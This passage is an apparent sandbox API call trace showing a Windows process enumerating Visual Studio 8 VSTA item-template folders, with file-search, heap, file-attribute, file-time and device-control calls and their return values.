RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1488 [0089.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312670 [0089.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.141] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 1 [0089.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c14a8 [0089.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312778 [0089.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.142] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 0 [0089.142] GetLastError () returned 0x12 [0089.142] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0089.143] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x8b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="AboutBox.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfig.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigInternal.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfo.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f83e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeFile.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSet.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x585, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interface.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3719, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextFile.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizer.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 1 [0089.143] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 0 [0089.143] GetLastError () returned 0x12 [0089.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13111d0) returned 1 [0089.144] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13112d8) returned 1 [0089.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13110c8) returned 1 [0089.145] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0089.145] GetLastError () returned 0x12 [0089.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310eb8) returned 1 [0089.145] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0089.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310fc0) returned 1 [0089.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310db0) returned 1 [0089.146] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="")) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0089.147] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0089.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13333e0 [0089.148] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13333e0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x13333e0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0089.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13333e0) returned 1 [0089.148] NtClose (Handle=0x174) returned 0x0 [0089.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310db0) returned 1 [0089.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310fc0 [0089.149] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0089.149] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.149] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.150] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0089.150] GetLastError () returned 0x12 [0089.150] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0089.150] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0089.150] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.150] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310eb8 [0089.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13110c8 [0089.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0089.152] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0089.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13333e0 [0089.152] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13333e0, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x13333e0, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0089.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13333e0) returned 1 [0089.152] NtClose (Handle=0x174) returned 0x0 [0089.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13110c8) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13110c8 [0089.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13112d8 [0089.154] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0089.155] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, 